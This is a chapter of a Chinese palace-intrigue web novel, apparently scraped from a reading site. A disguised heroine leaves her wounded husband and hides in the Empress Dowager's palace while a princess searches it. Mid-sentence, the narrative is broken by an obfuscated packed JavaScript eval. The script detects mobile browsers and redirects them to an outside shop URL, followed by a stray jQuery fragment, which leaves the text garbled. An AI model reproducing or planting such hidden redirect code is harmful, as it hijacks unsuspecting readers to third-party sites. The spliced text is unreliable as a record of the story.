135. 别时亦难

作品:《段姑娘每天打两份工

    床帐内,突如其来的咳嗽声打断她的话。


    陈雪游手一抖,愣在原地,心被牵动着,目光亦情不自禁落到床上。


    浑身戾气和杀意化作一腔柔情和无奈。


    昌乐郡主慌忙掉头去看周元澈的伤势,恰好不曾看见她手里握着的刀。


    “周掌司,你怎么了?”


    他一把抓住郡主的手,舌头囫囵着喊道:“别这么做,别…危险。”


    昌乐一头雾水。


    “什么别这么做?你在说什么,担心我吗?”郡主俯身去探他额头,触摸到一片滚烫,“我看你是烧糊涂了,本郡主会有什么危险呢。”


    昌乐盈盈笑道,看得出来,她有点开心。


    “早这样不就好了,只要你乖乖听我的话,本郡主也必不会亏待你。”


    陈雪游听见这些话,心如刀割。


    他认出她来了。


    他一定是认出她来了。


    “怎么还不呈上来?”昌乐忽转过头来问她话。


    陈雪游猛地回过神,结结巴巴道:“我…奴、奴才……”


    奴才哪有什么文书啊,奴才只有一把夺人性命的刀罢了。


    只怕你要不起。


    她心里慌得很,如今错失良机,怕是自己也得搭进去。


    正束手无策之际,那缠绵病榻之人,手臂忽陡生起巨大的气力,紧紧扼住郡主手腕。


    “周元澈,你做什么?”昌乐被这陡生的变故吓了一跳。


    他张口咬住郡主一截雪白的腕子,大有断其腕之势。


    “啊!”


    昌乐郡主尖声大叫。


    “混账东西,你快给我撒手啊!”


    周元澈目露凶光,偏偏咬着不松口,简直比恶狗还难缠。


    外边闯进来几个锦衣校卫,拔刀欲砍。


    陈雪游将身拦挡在二人面前,“不可,郡主,此举必然激起犯人怒火,您的手怕是保不住了!”


    昌乐惊怒交加,“那依你之见,该如何是好?”


    “奴…奴才有法子。”


    “快点,敢糊弄郡主,郡主……”


    昌乐目瞪口呆,“喂,你挠他胳肢窝有何用?”


    话音刚落,周元澈被她这么一挠,果然松了口。


    昌乐长出一口气,然而看见手腕上两排牙印,不禁恼道:“周元澈,你竟敢这么对本郡主!你和那个女人,你们夫妇俩都是属狗的吗?”


    “孙炳,你留在这里,本郡主等会儿再来问你话!”


    说罢,拂袖而去。


    等郡主走远,陈雪游立马坐到床头,手按在他肩头,“夫君,你怎么样?”


    他没反应。


    “你别担心,待会儿,我再找机会挟持她,然后我带你一起走。”


    周元澈侧身背对着她,不想让她看到自己这狼狈的样子。


    “痛。”


    “你自己走,或者…给我一刀……”


    她本来想骂他没用,可看到那些伤口,话到嘴边又吞了回去。


    眼泪啪嗒啪嗒掉下来。


    眼泪炙热、滚烫,从薄薄的衣衫渗进来,流到他心里面。


    可是他连拥抱她,安慰她都做不到。


    “别哭,当心暴露。”


    这次为保万无一失,她戴的是一顶精心制作的人皮面具,倒不怕把妆弄花,只是眼睛最容易出卖人。


    尤其是一双滂沱泪雨的眼睛。


    她明明知道,不应该哭。


    可她就是忍不住。


    她不是个好演员。


    “夫君,你对我如此情深义重,到现在还想着我的安慰,我又如何能忍心抛下你不管?”


    “走…快走!”


    他说话有些不利索,总是很艰难才蹦出几个字。


    “夫君,你的舌头…怎么了?”


    她把他脑袋扮过来,他又倔强地扭回去,抬起手背将唇边鲜血擦干。


    “别碰。”


    “跟我走吧,我有办法,你相信我。我真的可以带你走的,我可以的,不要死,我们都不要死。”


    太危险了。


    就算真的能挟持得了郡主,也未必能逃出去。若是对方派出弓箭手,或者在马车上动手脚,那么这次出逃就会失败。


    即便能逃出宫城,那之后呢?带着他这个累赘,又能逃多久?


    他可以死,反正他本来就是个废人,本来也配不上她,是他贪心,要她自甘堕落,陪他这个残缺身子销魂快活这些日子。


    他可以死,但是决不能让她陷入险境。


    周元澈眉峰微皱,怒道:“再废话,现在便死。”


    “别…别这样,我走就是了。”她怕了,只得答应下来。


    “夫君,那你多保重,不要跟郡主对着干,跟她说说好话,你等我,我一定会来救你的,也让我英雌救美一回,好不好?”


    “好,等你。”


    周元澈慢慢抽回被她握着的手,指尖余温犹在。


    这一点眷恋不舍的心思他藏得很好。


    “去吧。”


    他语气冰冷,催促她离开。


    “我去了。”


    枕畔湿透。


    其实还是很疼很疼,应该让她抱抱自己再走的。


    慈宁宫。


    骤雨初歇,一股阵清凉劲健之风拂过窗槛,屋里挂着的青竹帘子随风微微摆动。


    闷人的溽暑散去不少。


    枝头的鸟儿在绿荫间探头探脑,啾啾叫着。


    宫里一如既往平静,只是门外多了几个太监,是吴德禄派人过来照看太后的。


    明面上的话是这么说的:“近日宫里事情多,以防有照应不到太后这边的,因此多调几个人过来,能及时通报。”


    可谁都看得出来,这是在监视慈宁宫的一举一动。


    果然,今日的慈宁宫便出了一桩大事。


    未出这桩事前,天还下着雨,陈雪游从乾西所那边回来,先到值房换了身干净衣裳,随后拿着把油伞匆匆出门。


    她一个人势单力薄,得寻一个帮手和庇身之所。


    昌乐绝对想不到,她会躲在皇宫。


    半路,雨停,耳边噼里啪啦的雨声戛然而止,她微微抬起伞檐,对面一乘肩舆过来,上面坐着的人正是大内总管太监吴德禄。


    她忙避让一边,躬身行礼,“儿子给干爹请安。”


    吴德禄看她没看她,大约是有急事,面上心不在焉的,看这乘與的方向,必是去乾清宫寻郡主无疑。


    正好,她也不想和这狗奴才有过多交集,孙炳是他的亲信,接触太多,迟早看出破绽。


    更何况,她马上就要暴露了。


    半个时辰后,郡主随吴德禄来到慈宁门,“那姓孙的,真到这儿来了?”


    守在门口的两个太监躬身答道:“是,孙公公确实来过,说是奉吴公公的命,要给太后传话呢,此刻还未曾出来。”


    吴德禄气得直跺脚,“蠢材!你们怎么也不跟着?”


    两个太监都一脸茫然,“这……”


    “孙炳是奸细,抓住他!”


    “公公息怒,奴才们知道错了。”


    昌乐看向慈宁宫紧闭的宫门,凤目微眯,冷笑道:“传话下去,就说慈宁宫有刺客,把所有人都叫出来一一核查,凡是能藏人的地方都检查一遍。”


    “是。”


    这轮搜查着实用心,郡主的亲卫队甚至连太后卧榻都不曾放过,气得老太后拄


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387061|188618||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着拐杖大骂。


    老太后气势不减当年,一番威胁喝麻,搜查亲卫匆匆在房里找了一遍,马上唯唯而退。


    慈宁门。


    “回郡主,都搜过了,无人。”


    郡主脸色阴沉,今日的事实在太过古怪。


    那个孙炳明明是吴德禄的亲信,为何竟突然倒戈给周元澈做起奸细来?


    莫非是他早就安排好的?


    “无人,难道人就在眼皮子底下跑了不成,定是你们搜得不仔细。”


    “这……”


    “说,哪里还没搜明白?”


    “太后……”


    不用说,这些人到底是怕那老太婆。


    昌乐眉尖一挑,伸手拔出他腰间长刀,“立刻带本郡主去搜,若是让刺客跑了,伤到太后性命,我要你们所有人的脑袋。”


    这边厢,太后安歇之所,屋里的人撤得干干净净,崔洇饶是见过不少风风雨雨,也仍然心有余悸,长长出了口气。


    “段姑娘,人走了,你出来吧。”


    太后拦道:“不急,再等等。”


    果然,过了一会儿,一个绿衣宫女慌慌张张跑来“,不好了崔姑姑,郡主亲自过来了。”


    崔洇大惊,“这可怎么是好?”


    太后摩挲着手里的凤头拐,眼神虚虚望着窗外,“别慌,稳住,可别叫她瞧了出来。”


    昌乐摔帘子进来,惊得紫檀木架上的雪衣鹦鹉扑棱着翅膀乱飞。


    “有刺客!抓刺客!”


    鹦鹉边飞边喊,屋子里到处都是羽毛,逗得底下人忍俊不禁。


    “滚开,你这臭鸟,信不信本郡主拔了你的臭毛!”


    昌乐挥手去赶,鹦鹉早飞落到崔姑姑手里。


    “姑姑,饿。姑姑,饿。”


    崔洇笑着摸摸鹦鹉脑袋,拿着鸟食罐子喂它,“好丫头,怎可对郡主这般无礼?快给郡主行礼。”


    “傻瓜!傻瓜!”


    郡主冷哼一声,径直走到太后面前。


    “皇祖母,孙女给您请安,实在是不想惊扰祖母的,不过孙女怕有刺客对您不利,还是得再查查您这屋子。”


    太后眉头紧锁,“不是才查过么?”


    “他们查得不仔细,孙女亲自来查过才放得下心呢。”


    “也罢,你们便搜着,崔洇,把丫头抱过来,哀家和鸟说说话。”


    昌乐笑着走上前来,“祖母,孙女陪您说说话。”


    “不必,你现在越发出息了,祖母都不敢管你了。你呀,比祖母还能耐,我看这天下不日便落在你手里,祖母一个老太婆,哪里够资格让郡主娘娘如此纾尊降贵。”


    一席话说得她脸上阵红阵白。


    论血缘亲戚,她不孝敬;论君臣礼节,她不尊敬。


    太后自然该拿话驳她。


    可昌乐也不太在意,成大事何必拘泥这种小节。


    祖母没说错,反正她大权在握,一个老太婆又能拿她怎么样?


    “回郡主,”亲卫队头领过来禀报,“属下等彻彻底底仔仔细细搜查过,并没有抓到孙炳。”


    昌乐看着翻乱的床榻,打开的箱柜,还有在风中微微摆动的青竹帘子,蹙眉深思。


    “难不成一个大活人,还能凭空消失不成?”


    她转头望向气定神闲的老太后,如此炎天,祖母竟穿着一身大袖衫,裙摆层层叠叠,迤逦至地面,盖住下面的云头履。


    “祖母,您说,您的裙底,不会也能藏人吧?”


    崔洇怫然作色,“郡主何出此言?且不论那刺客危险,便是孙炳身为内监,也是男女有别,怎能藏在这里?”


    “是吗?”昌乐嘴角勾起,眯细了眼睛笑道:“如果我偏要看呢?”